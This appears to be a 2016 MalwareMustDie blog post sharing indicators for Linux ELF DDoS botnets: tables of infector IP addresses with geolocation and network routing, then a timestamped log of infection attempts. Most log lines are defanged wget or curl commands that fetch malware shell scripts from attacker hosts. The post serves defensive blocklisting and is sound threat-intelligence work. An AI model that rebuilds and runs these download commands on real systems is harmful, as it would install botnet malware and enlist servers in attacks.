READ THE CODES, Bro, your SERVER SIDE customers in the field are REALLY counting on your skill in naming of ELF malware, UNIX servers are not a PC in its management. And again, people like us are losing jobs for the hacking incident like this, while AV may "only" lose some numbers of income from a list of customer. So, sorry for I can not be NICE for this silly mistakes.

You all can judge whether I was speaking TRUTH or not when advising friend about my analysis https://t.co/84yxdogio6pic.twitter.com/KkDUUDEyz7

— ☩MalwareMustDie (@MalwareMustDie) February 4, 2016

The sample, epilogue & follow up

The sample is in Virus Total that can be accessed in here-->[link]
I am also added the Shellshock Shellcode compiles malware to its thread in kernelmode [link]

The radare.org [link] dev team is proven rock, by only reading this post they added feature to check the ip address [link] & also adding the syscall table information [link] for FreeBSD x86-32 on Linux ELF analysis purpose.
For your information I use radare since "radare", was 1st version (used it since /usr/ports), and our team is the "official" (smile) user for so long[link] w/thank you, and keep on using it happily in all my beloved Demon clusters[link]. Please support them with improvement reports!

.@akochkov@Maijin212@trufae Okay guys, here's my correction for the syscall table of @radareorg (pic) pic.twitter.com/nSquhLYSUz

— ☩MalwareMustDie (@MalwareMustDie) February 3, 2016

Thank you for your participating to the vote[link] & feedback about to this post:

NOTE: The follow up of this case will be posted in here. To be noted, there are few opcodes that might have slight different translation, please bear to some small miss (if any), and kindly inform about it, but I am sure the overall analysis is correct.

#MalwareMustDie! | analysis by @unixfreaxjp

"Then you will know the truth, and the truth will set you free.”

☩John 8:32

Background

These are the statistic comprehensional data for the infection of the ELF malware DDOS-er which its source codes we snagged and reported in previous MalwareMustDie blog post [MMD-0044-2015]. Some ELF compiled codes just slight obfuscated or silly "crypted" but they are so crack-able and you can figure it easily using the source code pattern I shared.

The IP addresses listed here are the infector hosts, which can be: (1) The hoster hired by DDOS skiddies to spread these ELF, (2) Infected server/routers/IoT/VPS that is being used to spread these ELF malware. Nonetheless, a bad hosts that either should be block before it gets a take-down, or to be cleaned up. The IOC generation or blocking rules based on this list is highly recommendable.

The intelligence for this information can not be disclosed further for the security purpose, the data belongs to the MalwareMustDie, NPO (thank you to a hard work for ELF Team team mate) and bound to our disclaimer. Yet please feel free to extract IOC to prevent these infection gone worst, or use the just released OTX IOC pulse. For the IDS/IPS/Firewall/Web filtration signature makers please use the data at will.

There is no malicious infection can be occurred by viewing this post, information posted are all in the textual form and was modified in a way that will prevent the link to outside, so it is harmless, further, this blog is hosted on Google (thank you blogger.com) infrastructure and not in our own servers.

The report of infection from 1st Jan - Feb 7th 2016

1. The summary:

Malware binary types: ELF/multiple architecture
Malware type: GayFgt(LizKebab), Kaiten (STD/Bossa/Mod)
Suspected actors: Lizard Stresser rings, aka: Sindicate, "Loony" Squad, and so on.
Total attempts: 1,158
Main download method: wgxt
Alternative download: cuxl; xxtch ; xxx-xxwnload
Download source per country:
  ------------------------
  No  Country      Count
  ------------------------
  1.  United States  39
  2.  Netherlands    12
  3.  United Kingdom 4
  4.  Latvia         3
  5.  France         3
  6.  Ukraine        1
  7.  Romania        1
  8.  Singapore      1
  9.  Poland         1
  10. Sweden         1
  11. China          1
  12. Russian        1
  13. Germany        1
  14. Moldova        1

3. CSV GeoIP Database:

107.172.23.133, Buffalo, 14221, United States, 42.9864, -78.7279
158.69.205.212, Pasadena, 91124, United States, 33.7866, -118.2987
158.69.217.211, Pasadena, 91124, United States, 33.7866, -118.2987
162.208.8.203, Glenview, 60025, United States, 42.0855, -87.8247
162.213.195.144, Austin, 78751, United States, 30.3106, -97.7227
163.47.11.201, Singapore, - , Singapore, 1.2931, 103.8558
173.208.196.202, Kansas City, 64106, United States, 39.1068, -94.566
173.214.160.90, Secaucus, 07094, United States, 40.7801, -74.0633
173.242.119.122, Clarks Summit, 18411, United States, 41.4486, -75.728
176.123.29.105, Chisinau, - , Moldova Republic of, 47.0056, 28.8575
178.19.111.244, Tarnowskie Gory, 42-600, Poland, 50.4485, 18.8515
185.112.249.111, Coventry, CV1, United Kingdom, 52.4167, -1.55
185.112.249.253, Coventry, CV1, United Kingdom, 52.4167, -1.55
185.112.249.26, Coventry, CV1, United Kingdom, 52.4167, -1.55
185.130.5.200, - , - , - , Latvia, Lithuania, 56.00, 24.00
185.130.5.205, - , - , - , Latvia, Lithuania, 56.00, 24.00
185.130.5.246, - , - , - , Latvia, Lithuania, 56.00, 24.00
185.17.30.239, - , - , Russian Federation, 55.75, 37.6166
185.29.9.253, Stockholm, 173 11, Sweden, 59.3333, 18.05
185.52.2.114, - , - , Netherlands, 52.3667, 4.9
185.62.189.11, - , - , Netherlands, 52.3667, 4.9
185.62.190.156, - , - , Netherlands, 52.3667, 4.9
185.62.190.253, - , - , Netherlands, 52.3667, 4.9
185.62.190.62, - , - , Netherlands, 52.3667, 4.9
192.227.170.67, Buffalo, 14221, United States, 42.9864, -78.7279
192.227.177.120, Buffalo, 14221, United States, 42.9864, -78.7279
192.227.177.127, Buffalo, 14221, United States, 42.9864, -78.7279
192.243.109.128, Glenview, 60025, United States, 42.0855, -87.8247
192.243.109.5, Glenview, 60025, United States, 42.0855, -87.8247
198.12.97.67, Buffalo, 14221, United States, 42.9864, -78.7279
198.12.97.93, Buffalo, 14221, United States, 42.9864, -78.7279
198.23.238.203, Buffalo, 14221, United States, 42.9864, -78.7279
198.23.238.215, Buffalo, 14221, United States, 42.9864, -78.7279
198.23.238.251, Buffalo, 14221, United States, 42.9864, -78.7279
199.180.133.178, Kansas City, 64106, United States, 39.1068, -94.566
199.180.133.214, Kansas City, 64106, United States, 39.1068, -94.566
199.231.184.237, Secaucus, 07094, United States, 40.7801, -74.0633
206.72.207.194, Secaucus, 07094, United States, 40.7801, -74.0633
208.67.1.142, Kansas City, 64116, United States, 39.1472, -94.5735
208.67.1.165, Kansas City, 64116, United States, 39.1472, -94.5735
208.67.1.2, Kansas City, 64116, United States, 39.1472, -94.5735
208.67.1.3, Kansas City, 64116, United States, 39.1472, -94.5735
208.67.1.40, Kansas City, 64116, United States, 39.1472, -94.5735
208.67.1.52, Kansas City, 64116, United States, 39.1472, -94.5735
208.67.1.73, Kansas City, 64116, United States, 39.1472, -94.5735
208.67.1.88, Kansas City, 64116, United States, 39.1472, -94.5735
208.73.207.236, Secaucus, 07094, United States, 40.7801, -74.0633
208.89.211.111, Kansas City, 64106, United States, 39.1068, -94.566
208.89.211.141, Kansas City, 64106, United States, 39.1068, -94.566
216.158.225.7, Secaucus, 07094, United States, 40.7801, -74.0633
218.104.49.211, - , - , China, 35.0, 105.0
23.227.163.110, - , - , United States, 38.0, -97.0
23.89.158.69, Los Angeles, 90017, United States, 34.053, -118.2642
23.94.29.218, Buffalo, 14221, United States, 42.9864, -78.7279
31.14.136.142, - , - , Romania, 46.0, 25.0
45.32.232.197, Amsterdam, 1000, Netherlands, 52.35, 4.9167
46.101.71.240, London, EC4N, United Kingdom, 51.5142, -0.0931
5.196.249.163, - , - , France, 48.86, 2.35
51.254.212.84, - , - , France, 48.86, 2.35
51.254.238.19, - , - , France, 48.86, 2.35
64.20.33.134, Secaucus, 07094, United States, 40.7801, -74.0633
74.118.193.239, Clarks Summit, 18411, United States, 41.4486, -75.728
79.143.181.158, - , - , Germany, 51.0, 9.0
80.82.64.177, - , - , Netherlands, 52.3667, 4.9
89.248.162.171, - , - , Netherlands, 52.3667, 4.9
89.248.166.131, - , - , Netherlands, 52.3667, 4.9
93.171.158.242, Khmelnitskiy, - , Ukraine, 47.7278, 34.1372
94.102.49.197, - , - , Netherlands, 52.3667, 4.9
94.102.53.144, - , - , Netherlands, 52.3667, 4.9
94.102.63.136, - , - , Netherlands, 52.3667, 4.9

4. CSV Network Routing Databse

107.172.23.133,"biz.kcscleaning.net".  ,36352 , 107.172.20.0/22 , AS-COLOCROSSING , US , nwnx.net , New Wave Netconnect LLC
158.69.205.212,"212.ip-158-69-205.net".,16276 , 158.69.0.0/16 , OVH , FR , parsons.com , Parsons Corporation
158.69.217.211,"211.ip-158-69-217.net",16276 , 158.69.0.0/16 , OVH , FR , parsons.com , Parsons Corporation
162.208.8.203 , - ,11878 , 162.208.8.0/22 , TZULO , US , vpscheap.net , VPS Cheap Inc.
162.213.195.144, - ,54540 , 162.213.195.0/24 , INCERO , US , inceronetwork.com , Incero LLC
163.47.11.201, - ,133165 , 163.47.8.0/22 , DIGITALOCEAN-AS , SG , digitalocean.com , Digital Ocean Inc.
173.208.196.202, - ,32097 , 173.208.128.0/17 , WII-KC , US , goldvipclub.com , Gold VIP Club
173.214.160.90,"scrubzei.com",19318 , 173.214.160.0/24 , NJIIX-AS-1 , US , interserver.net , Interserver Inc
173.242.119.122, - ,46664 , 173.242.119.0/24 , VOLUMEDRIVE , US , volumedrive.com , VolumeDrive
176.123.29.105,"176-123-29-105.alexhost.md",200019 , 176.123.0.0/19 , ASCLOUDATA , MD , alexhost.md , AlexHost SRL
178.19.111.244,"traderproject.com",59491 , 178.19.104.0/21 , LIVENET , PL , sitel.net.pl , SITEL Sp z o. o.
185.112.249.111, - ,42831 , 185.112.249.0/24 , UKSERVERS , GB , - , -
185.112.249.253,"pocztafoundation.swidnica.pl",42831 , 185.112.249.0/24 , UKSERVERS , GB , - , -
185.112.249.26,"no.rdns.sharkservers.net",42831 , 185.112.249.0/24 , UKSERVERS , GB , - , -
185.130.5.200, - ,203569 , 185.130.5.0/24 , SILK , LT , - , Sindicate Group Ltd
185.130.5.205, - ,203569 , 185.130.5.0/24 , SILK , LT , - , Sindicate Group Ltd
185.130.5.246, - ,203569 , 185.130.5.0/24 , SILK , LT , - , Sindicate Group Ltd
185.17.30.239, - ,199420 , 185.17.28.0/22 , FLYGROUP , RU , fly-group.ru , OOO Fly Engeneering Group
185.29.9.253,"ip-9-253.dataclub.biz",60567 , 185.29.9.0/24 , DATACLUB , SE , dataclub.biz , Virtual Servers
185.52.2.114,"web.minsupport.net",198203 , 185.52.0.0/22 , ASN , NL , ramnode.com , RamNode LLC
185.62.189.11,"cacti.s42.voby.se",49349 , 185.62.189.0/24 , DOTSI , PT , nforce.com , NForce Entertainment B.V.
185.62.190.156,"hosted-by.blazingfast.io",49349 , 185.62.190.0/24 , DOTSI , PT , nforce.com , NForce Entertainment B.V.
185.62.190.253,"hosted-by.blazingfast.io",49349 , 185.62.190.0/24 , DOTSI , PT , nforce.com , NForce Entertainment B.V.
185.62.190.62,"hosted-by.blazingfast.io",49349 , 185.62.190.0/24 , DOTSI , PT , nforce.com , NForce Entertainment B.V.
192.227.170.67,"www.AlphaNineVPS.com",36352 , 192.227.168.0/21 , AS-COLOCROSSING , US , hudsonvalleyhost.com , Hudson Valley Host
192.227.177.120,"192-227-177-120-host.colocrossing.com",36352 , 192.227.176.0/22 , AS-COLOCROSSING , US , nwnx.net , New Wave Netconnect LLC
192.227.177.127,"192-227-177-127-host.colocrossing.com",36352 , 192.227.176.0/22 , AS-COLOCROSSING , US , nwnx.net , New Wave Netconnect LLC
192.243.109.128, - ,11878 , 192.243.96.0/20 , TZULO , US , vpscheap.net , VPS Cheap Inc.
192.243.109.5, - ,11878 , 192.243.96.0/20 , TZULO , US , vpscheap.net , VPS Cheap Inc.
198.12.97.67,"198-12-97-67-host.enwebhost.net",36352 , 198.12.96.0/20 , AS-COLOCROSSING , US , colocrossing.com , ColoCrossing
198.12.97.93,"198-12-97-93-host.enwebhost.net",36352 , 198.12.96.0/20 , AS-COLOCROSSING , US , colocrossing.com , ColoCrossing
198.23.238.203,"198-23-238-203-host.enwebhost.net",36352 , 198.23.232.0/21 , AS-COLOCROSSING , US , enwebhost.net , Enwebhost
198.23.238.215,"198-23-238-215-host.enwebhost.net",36352 , 198.23.232.0/21 , AS-COLOCROSSING , US , enwebhost.net , Enwebhost
198.23.238.251,"198-23-238-251-host.enwebhost.net",36352 , 198.23.232.0/21 , AS-COLOCROSSING , US , enwebhost.net , Enwebhost
199.180.133.178,"watchhere.docadvices.com",23033 , 199.180.133.0/24 , WOW , US , virpus.com , DNSSlave.com
199.180.133.214, - ,23033 , 199.180.133.0/24 , WOW , US , virpus.com , DNSSlave.com
199.231.184.237,"mail10.sipanhost.com",19318 , 199.231.184.0/21 , NJIIX-AS-1 , US , interserver.net , Interserver Inc
206.72.207.194,"lht194.cowanci.com",19318 , 206.72.192.0/20 , NJIIX-AS-1 , US , interserver.net , Interserver Inc
208.67.1.142, - ,33387 , 208.67.1.0/24 , DATASHACK , US , wholesaledatacenter.com , Wholesale Data Center LLC
208.67.1.165, - ,33387 , 208.67.1.0/24 , DATASHACK , US , wholesaledatacenter.com , Wholesale Data Center LLC
208.67.1.2, - ,33387 , 208.67.1.0/24 , DATASHACK , US , hmccah.com , HMC/Cah
208.67.1.3, - ,33387 , 208.67.1.0/24 , DATASHACK , US , hmccah.com , HMC/Cah
208.67.1.40, - ,33387 , 208.67.1.0/24 , DATASHACK , US , wholesaledatacenter.com , Fletcher Grant
208.67.1.52, - ,33387 , 208.67.1.0/24 , DATASHACK , US , wholesaledatacenter.com , Wholesale Data Center LLC
208.67.1.73, - ,33387 , 208.67.1.0/24 , DATASHACK , US , tricension.net , Tricension
208.67.1.88, - ,33387 , 208.67.1.0/24 , DATASHACK , US , tricension.net , Tricension
208.73.207.236,"sonypaio.com",19318 , 208.73.200.0/21 , NJIIX-AS-1 , US , interserver.net , Interserver Inc
208.89.211.111,"server6.lega-helplineservice.com",23033 , 208.89.211.0/24 , WOW , US , virpus.com , DNSSlave.com
208.89.211.141, - ,23033 , 208.89.211.0/24 , WOW , US , virpus.com , DNSSlave.com
216.158.225.7,"server.iceybinary.com",19318 , 216.158.224.0/23 , NJIIX-AS-1 , US , interserver.net , Interserver Inc
218.104.49.211, - ,9929 , 218.104.48.0/23 , CNCNET , CN , chinaunicom.com , China Unicom IP Network
23.227.163.110, - ,54540 , 23.227.163.0/24 , INCERO , US , inceronetwork.com , Incero LLC
23.89.158.69,"69.158-89-23.rdns.scalabledns.com",18978 , 23.89.128.0/18 , ENZUINC-US , US , enzu.com , Enzu Inc
23.94.29.218,"23-94-29-218-host.colocrossing.com",36352 , 23.94.16.0/20 , AS-COLOCROSSING , US , nwnx.net , New Wave Netconnect LLC
31.14.136.142,"host142-136-14-31.serverdedicati.aruba.it",31034 , 31.14.128.0/20 , ARUBA , IT , jump.ro , Jump Management SRL
45.32.232.197,"45.32.232.197.vultr.com",20473 , 45.32.232.0/21 , AS-CHOOPA , US , choopa.com , Choopa LLC
46.101.71.240, - ,201229 , 46.101.68.0/22 , DIGITALOCEAN , DE , digitalocean.com , Digital Ocean Inc.
5.196.249.163, - ,16276 , 5.196.0.0/16 , OVH , FR , ovh.com , OVH SAS
51.254.212.84,"84.ip-51-254-212.eu",16276 , 51.254.0.0/15 , OVH , FR , ovh.com , OVH SAS
51.254.238.19, - ,16276 , 51.254.0.0/15 , OVH , FR , ovh.com , OVH SAS
64.20.33.134,"test.interserver.net",19318 , 64.20.32.0/19 , NJIIX-AS-1 , US , fasttechrev.com , Hosting Needs
74.118.193.239,"mail.rodesleads.info",46664 , 74.118.192.0/22 , VOLUMEDRIVE , US , volumedrive.com , VolumeDrive
79.143.181.158,"vmi59412.contabo.host",51167 , 79.143.180.0/23 , CONTABO , DE , contabo.de , Contabo GmbH
80.82.64.177, - ,29073 , 80.82.64.0/24 , QUASINETWORKS , NL , ecatel.net , Ecatel LTD
89.248.162.171,"no-reverse-dns-configured.com",29073 , 89.248.160.0/21 , QUASINETWORKS , NL , ecatel.net , Ecatel LTD
89.248.166.131,"no-reverse-dns-configured.com",29073 , 89.248.160.0/21 , QUASINETWORKS , NL , ecatel.net , Ecatel LTD
93.171.158.242,"ua63.com",201094 , 93.171.158.0/23 , GMHOST , UA , - , PE Dunaeivskyi Denys Leonidovich
94.102.49.197,"no-reverse-dns-configured.com",29073 , 94.102.48.0/20 , QUASINETWORKS , NL , ecatel.net , Ecatel LTD
94.102.53.144, - ,29073 , 94.102.48.0/20 , QUASINETWORKS , NL , ecatel.net , Ecatel LTD
94.102.63.136,"no-reverse-dns-configured.com",29073 , 94.102.48.0/20 , QUASINETWORKS , NL , ecatel.net , Ecatel LTD

5. Log of infection attempts time stamp (as cyber incident evidence):

2016-02-07 09:28:17 | wget hxxp:// 199.180.133.178/gb . sh
2016-02-07 07:32:41 | wget -q hxxp:// 198.23.238.215/Sharky/gb . sh
2016-02-07 07:32:40 | wget -q hxxp:// 198.23.238.215/Sharky/gb . sh
2016-02-07 02:53:41 | wget ftx://199.231.184.237/gtop . sh
2016-02-07 02:53:19 | wget ftx://199.231.184.237/gtop . sh
2016-02-07 02:43:05 | wget -q hxxp:// 198.23.238.215/Sharky/gb . sh
2016-02-07 02:43:03 | wget -q hxxp:// 198.23.238.215/Sharky/gb . sh
2016-02-06 21:13:35 | wget hxxp:// 185.112.249.253/gtop . sh
2016-02-06 21:08:45 | wget hxxp:// 185.112.249.253/gtop . sh
2016-02-06 20:07:20 | wget hxxp:// 185.112.249.253/gtop . sh
2016-02-06 19:05:34 | wget hxxp:// 185.112.249.253/gtop . sh
2016-02-06 16:45:10 | wget hxxp:// 173.208.196.202/bin . sh
2016-02-06 16:39:47 | wget hxxp:// 185.130.5.246/bin . sh
2016-02-06 16:39:47 | wget hxxp:// 185.130.5.246/bin . sh
2016-02-06 16:21:26 | wget hxxp:// 185.130.5.246/bin . sh
2016-02-06 16:21:24 | wget hxxp:// 185.130.5.246/bin . sh
2016-02-06 16:07:20 | wget hxxp:// 185.130.5.246/bin . sh
2016-02-06 16:07:19 | wget hxxp:// 185.130.5.246/bin . sh
2016-02-06 16:01:37 | wget hxxp:// 185.112.249.26/gtop . sh
2016-02-06 15:56:40 | wget hxxp:// 173.208.196.202/bin . sh
2016-02-06 15:26:51 | wget ftx://199.231.184.237/gtop . sh
2016-02-06 15:26:29 | wget ftx://199.231.184.237/gtop . sh
2016-02-06 15:20:01 | wget hxxp:// 185.130.5.246/bin . sh
2016-02-06 15:10:50 | wget hxxp:// 185.130.5.246/bin . sh
2016-02-06 15:10:49 | wget hxxp:// 185.130.5.246/bin . sh
2016-02-06 15:03:38 | wget -q hxxp:// 208.67.1.88/Bots . sh; 
                              curl -O hxxp:// 208.67.1.88/Bots . sh
2016-02-06 14:50:55 | wget hxxp:// 185.130.5.246/bin . sh
2016-02-06 14:50:55 | wget hxxp:// 185.130.5.246/bin . sh
2016-02-06 14:32:41 | wget hxxp:// 185.130.5.246/bin . sh
2016-02-06 14:32:40 | wget hxxp:// 185.130.5.246/bin . sh
2016-02-06 14:19:15 | wget ftx://199.231.184.237/gtop . sh
2016-02-06 14:18:29 | wget hxxp:// 185.130.5.246/bin . sh
2016-02-06 14:18:28 | wget hxxp:// 185.130.5.246/bin . sh
2016-02-06 14:10:31 | wget ftx://199.231.184.237/gtop . sh
2016-02-06 05:54:46 | wget hxxp:// 185.112.249.26/gtop . sh
2016-02-06 05:53:55 | wget hxxp:// 185.112.249.26/gtop . sh
2016-02-06 05:14:34 | wget hxxp:// 185.112.249.26/gtop . sh
2016-02-06 05:10:55 | wget hxxp:// 173.208.196.202/bin . sh
2016-02-06 05:00:33 | wget hxxp:// 185.112.249.26/gtop . sh
2016-02-06 04:50:58 | wget hxxp:// 185.112.249.26/gtop . sh
2016-02-06 04:48:09 | wget hxxp:// 185.112.249.26/gtop . sh
2016-02-06 04:38:09 | wget hxxp:// 173.208.196.202/bin . sh
2016-02-06 04:37:42 | wget hxxp:// 173.208.196.202/bin . sh
2016-02-06 04:06:58 | wget hxxp:// 185.112.249.26/gtop . sh
2016-02-06 03:53:04 | wget hxxp:// 185.112.249.26/gtop . sh
2016-02-06 03:41:42 | wget hxxp:// 185.112.249.253/gtop . sh
2016-02-06 03:26:44 | wget hxxp:// 185.112.249.26/gtop . sh
2016-02-06 03:11:10 | wget hxxp:// 185.112.249.26/gtop . sh
2016-02-06 02:52:44 | wget hxxp:// 185.112.249.26/gtop . sh
2016-02-06 02:49:12 | wget ftx://199.231.184.237/gtop . sh
2016-02-06 02:41:54 | wget hxxp:// 185.112.249.26/gtop . sh
2016-02-06 02:38:04 | wget hxxp:// 185.130.5.246/bin . sh
2016-02-06 02:16:13 | wget hxxp:// 185.130.5.246/bin . sh
2016-02-06 01:36:28 | wget hxxp:// 185.112.249.26/gtop . sh
2016-02-06 01:22:23 | wget hxxp:// 185.112.249.26/gtop . sh
2016-02-06 00:56:47 | wget hxxp:// 185.112.249.253/gtop . sh
2016-02-05 23:35:07 | wget ftx://199.231.184.237/gtop . sh
2016-02-05 23:02:54 | wget hxxp:// 185.112.249.26/gtop . sh
2016-02-05 22:59:49 | wget hxxp:// 185.130.5.246/bin . sh
2016-02-05 22:48:41 | wget hxxp:// 185.130.5.246/bin . sh
2016-02-05 22:48:41 | wget hxxp:// 185.130.5.246/bin . sh
2016-02-05 22:35:55 | wget hxxp:// 208.67.1.73/gtop . sh
2016-02-05 22:27:07 | wget hxxp:// 185.130.5.246/bin . sh
2016-02-05 22:27:07 | wget hxxp:// 185.130.5.246/bin . sh
2016-02-05 22:08:38 | wget hxxp:// 185.130.5.246/bin . sh
2016-02-05 22:08:38 | wget hxxp:// 185.130.5.246/bin . sh
2016-02-05 21:54:59 | wget hxxp:// 185.130.5.246/bin . sh
2016-02-05 21:54:59 | wget hxxp:// 185.130.5.246/bin . sh
2016-02-05 21:47:52 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-02-05 21:47:52 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-02-05 20:34:10 | wget hxxp:// 185.112.249.253/gtop . sh
2016-02-05 20:30:07 | wget hxxp:// 185.62.190.253/h . sh
2016-02-05 19:37:34 | wget ftx://199.231.184.237/gtop . sh
2016-02-05 19:12:30 | wget hxxp:// 185.112.249.253/gtop . sh
2016-02-05 17:37:32 | wget -q hxxp:// 23.227.163.110/Bots/Bots . sh
2016-02-05 17:25:07 | wget -q hxxp:// 208.67.1.88/Bots . sh;
                              curl -O hxxp:// 208.67.1.88/Bots . sh
2016-02-05 17:11:41 | wget hxxp:// 185.112.249.26/gtop . sh
2016-02-05 16:57:42 | wget hxxp:// 185.112.249.26/gtop . sh
2016-02-05 16:53:47 | wget hxxp:// "www.hongcherng.com"/rd/rd . sh-O /tmp/rd . sh
2016-02-05 16:35:55 | wget hxxp:// 185.17.30.239/gb . sh-O /dev/gb . sh
2016-02-05 16:28:58 | wget hxxp:// 185.112.249.26/gtop . sh
2016-02-05 16:14:51 | wget hxxp:// 185.112.249.26/gtop . sh
2016-02-05 15:25:48 | wget hxxp:// 185.112.249.26/gtop . sh
2016-02-05 15:23:33 | wget hxxp:// 185.112.249.26/gtop . sh
2016-02-05 15:22:29 | wget ftx://199.231.184.237/gtop . sh
2016-02-05 14:49:42 | wget ftx://199.231.184.237/gtop . sh
2016-02-05 14:24:34 | wget ftx://199.231.184.237/gtop . sh
2016-02-05 12:57:25 | wget hxxp:// 51.254.212.84/busybox . sh
2016-02-05 05:17:28 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-02-05 05:17:24 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-02-05 05:02:22 | wget hxxp:// 185.112.249.26/gtop . sh
2016-02-05 04:16:29 | wget hxxp:// 185.112.249.26/gtop . sh
2016-02-05 03:13:40 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-02-05 03:13:37 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-02-05 03:08:11 | wget hxxp:// 185.112.249.26/gtop . sh
2016-02-05 02:53:57 | wget hxxp:// 185.112.249.26/gtop . sh
2016-02-05 02:27:49 | wget -q hxxp:// 185.52.2.114/h . sh
2016-02-05 01:53:07 | wget -q hxxp:// 208.67.1.88/Bots . sh;
                              curl -O hxxp:// 208.67.1.88/Bots . sh
2016-02-04 23:57:43 | wget -q hxxp:// 208.67.1.88/Bots . sh;
                              curl -O hxxp:// 208.67.1.88/Bots . sh
2016-02-04 23:52:45 | wget hxxp:// 208.67.1.73/gtop . sh
2016-02-04 23:37:23 | wget hxxp:// 208.67.1.73/gtop . sh
2016-02-04 23:31:59 | wget -q hxxp:// 208.67.1.88/Bots . sh;
                              curl -O hxxp:// 208.67.1.88/Bots . sh
2016-02-04 23:19:54 | wget -q hxxp:// 185.130.5.200/bin . sh;
                              curl -O hxxp:// 185.130.5.200/bin . sh
2016-02-04 21:39:37 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-02-04 21:39:35 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-02-04 16:42:04 | wget -q hxxp:// 185.52.2.114/h . sh
2016-02-04 09:08:52 | wget hxxp:// 185.17.30.239/gb . sh-O /dev/gb . sh
2016-02-04 08:18:15 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-02-04 08:18:12 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-02-04 05:37:42 | wget -q hxxp:// 51.254.212.84/busybox . sh
2016-02-04 02:24:07 | wget hxxp:// 185.112.249.253/gtop . sh
2016-02-03 22:03:45 | wget hxxp:// 185.112.249.26/gtop . sh
2016-02-03 21:53:31 | wget hxxp:// 185.112.249.26/gtop . sh
2016-02-03 20:53:03 | wget hxxp:// 185.112.249.26/gtop . sh
2016-02-03 20:50:56 | wget hxxp:// 199.231.184.237/gtop . sh
2016-02-03 19:27:27 | wget hxxp:// 185.112.249.26/gtop . sh
2016-02-03 19:13:31 | wget hxxp:// 185.112.249.26/gtop . sh
2016-02-03 15:26:15 | wget hxxp:// 185.112.249.111/gtop . sh
2016-02-03 15:09:15 | wget hxxp:// 185.112.249.26/gtop . sh
2016-02-03 14:55:09 | wget hxxp:// 185.112.249.26/gtop . sh
2016-02-03 14:47:47 | wget hxxp:// 185.112.249.111/gtop . sh
2016-02-03 13:56:59 | wget hxxp:// 185.112.249.26/gtop . sh
2016-02-03 13:40:26 | wget hxxp:// 185.112.249.26/gtop . sh
2016-02-03 08:12:38 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-02-03 08:12:35 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-02-03 05:18:19 | wget hxxp:// 185.112.249.26/gtop . sh
2016-02-03 05:06:33 | wget hxxp:// 185.112.249.26/gtop . sh
2016-02-03 04:52:47 | wget hxxp:// 176.123.29.105/bin . sh
2016-02-03 02:26:22 | wget hxxp:// 208.67.1.142/hack/Binarys . sh
2016-02-03 01:10:27 | wget hxxp:// 192.243.109.5/DOGDICKS/gtop . sh
2016-02-03 00:58:32 | wget hxxp:// 192.243.109.5/DOGDICKS/gtop . sh
2016-02-03 00:01:30 | wget hxxp:// 192.243.109.5/DOGDICKS/gtop . sh
2016-02-02 22:43:01 | wget hxxp:// 185.112.249.26/gtop . sh
2016-02-02 22:36:19 | wget hxxp:// 185.112.249.26/gtop . sh
2016-02-02 21:28:54 | wget hxxp:// 192.243.109.5/DOGDICKS/gtop . sh
2016-02-02 18:25:35 | wget hxxp:// 185.17.30.239/gb . sh-O /dev/gb . sh
2016-02-02 13:34:51 | wget hxxp:// 185.112.249.111/gtop . sh
2016-02-02 13:16:29 | wget hxxp:// 192.243.109.5/DOGDICKS/gtop . sh
2016-02-02 13:06:42 | wget hxxp:// 185.112.249.111/gtop . sh
2016-02-02 12:46:48 | wget hxxp:// 185.112.249.111/gtop . sh
2016-02-02 11:05:21 | wget hxxp:// 192.243.109.5/DOGDICKS/gtop . sh
2016-02-02 06:32:25 | wget hxxp:// 185.17.30.239/gb . sh-O /dev/gb . sh
2016-02-02 01:53:15 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-02-02 01:53:15 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-02-01 23:43:22 | wget hxxp:// 192.243.109.5/DOGDICKS/gtop . sh
2016-02-01 22:41:07 | wget hxxp:// feds.pw/feds/gb . sh
2016-02-01 17:10:33 | wget hxxp:// 185.112.249.253/gtop . sh
2016-02-01 16:15:24 | wget hxxp:// 192.243.109.5/DOGDICKS/gtop . sh
2016-02-01 13:35:18 | wget hxxp:// 185.17.30.239/gb . sh-O /dev/gb . sh
2016-02-01 11:48:58 | wget hxxp:// 185.112.249.253/gtop . sh
2016-02-01 07:21:48 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-02-01 07:21:48 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-02-01 06:52:14 | wget hxxp:// 185.112.249.253/gtop . sh
2016-02-01 05:19:06 | wget hxxp:// 185.112.249.253/gtop . sh
2016-02-01 05:00:00 | wget hxxp:// 185.112.249.253/gtop . sh
2016-02-01 04:39:36 | wget hxxp:// 185.112.249.253/gtop . sh
2016-02-01 03:42:21 | wget hxxp:// 185.112.249.253/gtop . sh
2016-02-01 02:48:13 | wget hxxp:// 185.112.249.253/gtop . sh
2016-02-01 02:43:18 | wget hxxp:// 185.29.9.253/DOGDICKS/Binarys . sh
2016-02-01 01:59:09 | wget hxxp:// 185.112.249.253/gtop . sh
2016-02-01 01:27:37 | wget hxxp:// 107.172.23.133/gtop . sh
2016-02-01 01:24:01 | wget hxxp:// 185.112.249.253/gtop . sh
2016-02-01 01:10:43 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-02-01 01:10:42 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-02-01 01:05:45 | wget hxxp:// 107.172.23.133/gtop . sh
2016-02-01 01:00:10 | wget hxxp:// 185.112.249.253/gtop . sh
2016-02-01 00:01:05 | wget hxxp:// 107.172.23.133/gtop . sh
2016-02-01 00:00:16 | wget hxxp:// 185.112.249.253/gtop . sh
2016-01-31 23:28:54 | wget hxxp:// 185.112.249.253/gtop . sh
2016-01-31 20:34:57 | wget hxxp:// 185.112.249.253/gtop . sh
2016-01-31 20:23:47 | wget hxxp:// 185.112.249.253/gtop . sh
